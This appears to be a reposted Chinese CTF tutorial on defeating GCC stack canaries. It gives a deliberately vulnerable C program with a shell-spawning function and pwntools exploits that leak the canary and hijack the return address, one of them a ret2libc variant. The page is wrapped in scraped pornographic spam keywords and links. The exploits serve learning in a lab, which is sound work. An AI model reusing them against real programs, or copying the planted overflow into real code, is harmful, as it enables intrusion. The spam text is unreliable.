日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 综合教程 >内容正文

综合教程

ctfwiki-pwn:canary

發(fā)布時(shí)間:2024/8/26 综合教程 56 生活家
生活随笔 收集整理的這篇文章主要介紹了 ctfwiki-pwn:canary 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

GCC 中使用以下參數(shù)設(shè)置 Canary:

-fstack-protector 啟用保護(hù),不過(guò)只為局部變量中含有數(shù)組的函數(shù)插入保護(hù)

-fstack-protector-all 啟用保護(hù),為所有函數(shù)插入保護(hù)

-fstack-protector-strong -fstack-protector-explicit 只對(duì)有明確 stack_protect attribute 的函數(shù)開(kāi)啟保護(hù)

-fno-stack-protector 禁用保護(hù)

Canary

序言

Canary 是一種十分有效的解決棧溢出問(wèn)題的漏洞緩解措施。但是并不意味著 Canary 就能夠阻止所有的棧溢出利用,在這里給出了常見(jiàn)的存在 Canary 的棧溢出利用思路,請(qǐng)注意每種方法都有特定的環(huán)境要求。

源碼:

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

編譯為 32bit 程序并關(guān)閉 PIE 保護(hù) (默認(rèn)開(kāi)啟 NX,ASLR,Canary 保護(hù))

gcc -m32 -no-pie ex2.c -o ex2

我們使用gdb-peda,嘗試獲取溢出的偏移值,發(fā)現(xiàn)程序報(bào)錯(cuò)了SIGABR

SIGABRT是中止一個(gè)程序,它可以被捕捉,但不能被阻塞。處理函數(shù)返回后,所有打開(kāi)的文件描述符將會(huì)被關(guān)閉,流也會(huì)被flush。

這里我的理解是我們開(kāi)啟了canary,我們輸入的字符覆蓋了canary插入的cookie,被檢測(cè)出來(lái)了,程序就終止了。

Canary 實(shí)現(xiàn)原理

開(kāi)啟 Canary 保護(hù)的 stack 結(jié)構(gòu)大概如下:

泄露棧中的 Canary

Canary 設(shè)計(jì)為以字節(jié)x00結(jié)尾,本意是為了保證 Canary 可以截?cái)嘧址?泄露棧中的 Canary 的思路是覆蓋 Canary 的低字節(jié),來(lái)打印出剩余的 Canary 部分。 這種利用方式需要存在合適的輸出函數(shù),并且可能需要第一溢出泄露 Canary,之后再次溢出控制執(zhí)行流程。

Canary 繞過(guò)技術(shù)

首先通過(guò)覆蓋 Canary 最后一個(gè)x00字節(jié)來(lái)打印出 4 位的 Canary 之后,計(jì)算好偏移,將 Canary 填入到相應(yīng)的溢出位置,實(shí)現(xiàn) Ret 到 getshell 函數(shù)中

我們先嘗試獲取canary的值,因?yàn)槭切《耍詂anary高地址存的是0,那么我們將0覆蓋后就可以打印出canary的值了

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
io=process('./ex2')
getshell=ELF('./ex2').sym['getshell']
io.recvuntil("Hello Hacker!
") 
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
print(":"+str(Canary))
print(u32(Canary)) #格式轉(zhuǎn)換

運(yùn)行如圖所示,我們成功將canary的值打印出來(lái)了:

得到canray值之后,在第二次循環(huán)中我們可以在棧中相對(duì)的位置寫入canary值,然后再寫入shellcode

在IDA PRO中查看vuln函數(shù):

根據(jù)IDA PRO查看的信息,這里列出在vuln函數(shù)中的棧:

發(fā)現(xiàn)了buf到canary的偏移為0x70-0xC=100,我們?cè)?xC的位置填上canary的值,這時(shí)候填充到了ebp-8h的位置(即到ebp的位置為8)

我們填充8個(gè)字節(jié)到ebp,然后再用4個(gè)字節(jié)覆蓋舊的ebp,之后才是我們想要的ret位置

canary到返回地址的大小=8個(gè)字節(jié)(填充)+4個(gè)字節(jié)(oldebp)

編寫EXP:

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
io=process('./ex2')
getshell=ELF('./ex2').sym['getshell']
io.recvuntil("Hello Hacker!
") 
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
payload='a'*100+p32((u32(Canary)-0xa))+'a'*12+p32(getshell) #buf + canary + canary到返回地址的大小 + 返回地址
io.sendline(payload)
io.recvuntil('a'*100)
io.interactive()

運(yùn)行:

附(學(xué)會(huì)舉一反三):

利用我們pwn實(shí)驗(yàn)2的ret2libc,編寫EXP:

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

libc_base=0xf7dc9000

system=libc_base+0x0045830
bash=libc_base+0x00192352


io=process('./ex2')
io.recvuntil("Hello Hacker!
") 
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
payload='a'*100+p32((u32(Canary)-0xa))+'a'*12+p32(system)+p32(0xdeadbeef)+p32(bash)
io.send(payload)
io.recvuntil('a'*100)
io.interactive()

總結(jié)

以上是生活随笔為你收集整理的ctfwiki-pwn:canary的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 免费网站看av | 尤物网在线 | 亚洲精品www. | 精品人妻一区二区三区含羞草 | 韩国明星乱淫(高h)小说 | 日韩伦理中文字幕 | 日韩一级影视 | 欧美日一本| 国产精品中文字幕在线 | 丰满大乳少妇在线观看网站 | 日本久久视频 | 午夜天堂精品久久久久 | 波多野结衣乳巨码无在线 | 日本在线色 | 久久久一二三四 | 一区二区三区免费在线视频 | 在线看av的网址 | 日本不卡网站 | 国产丝袜在线播放 | 91老师国产黑色丝袜在线 | 成年在线视频 | 国产一区二区不卡在线 | 亚洲欧美另类一区 | 后入内射无码人妻一区 | 国产精品无码久久久久高潮 | 少妇一边呻吟一边说使劲视频 | 久伊人网 | 亚洲综合在线视频 | 色中文字幕在线观看 | 国产精品女优 | 成人观看视频 | 宅男av| 老司机av导航 | 成人性做爰aaa片免费看不忠 | 蜜桃av一区二区三区 | 国产免费av一区 | 亚洲国产精品综合久久久 | 凹凸国产熟女精品视频 | 天堂在线资源库 | 日本在线观看一区二区三区 | 午夜欧美成人 | 岛国一区二区三区 | 国产精华7777777 | 亚洲精品喷潮一区二区三区 | 成人国产精品蜜柚视频 | yes4444视频在线观看 | 日本韩国在线 | 欧美91视频| 精品一区二区三区中文字幕 | 91视频网址入口 | 好吊色视频一区二区三区 | 伊人国产在线 | 国产美女精品在线 | 亚洲高清视频一区二区 | 国产精品vip | 91热热 | 狠狠躁夜夜躁av无码中文幕 | 夜夜操夜夜爱 | 欧美毛片在线 | 国产在线一二三区 | 日本公与丰满熄 | 青青草原伊人网 | 久久久一区二区三区四区 | 国产精品久久午夜夜伦鲁鲁 | 十大污视频 | 日韩三级在线免费观看 | 三级黄色视屏 | 亚洲天堂av片 | 免费激情视频网站 | 日本在线视频www | 免费亚洲网站 | 日本熟妇一区二区三区 | 亚洲欧美日韩视频一区 | 久久99激情 | a天堂在线视频 | 亚洲精品免费看 | 日韩激情视频网站 | 岛国片在线免费观看 | 波多野结衣 一区 | 国产精品情侣呻吟对白视频 | 欧美一区二区福利视频 | 国产白浆视频 | 国语对白永久免费 | 狠狠躁18三区二区一区 | 无码精品黑人一区二区三区 | 欧美黄色免费 | 欧美自偷自拍 | 99ri视频| 中文字幕免费在线看线人 | 男女曰逼视频 | 肉性天堂| 国产综合一区二区 | 极品探花在线观看 | av片免费观看 | 国产精品视频全国免费观看 | 91精品久久久久久久久久 | 少妇一级淫片免费放 | 亚洲精品中文字幕在线观看 | 人人妻人人澡人人爽精品欧美一区 |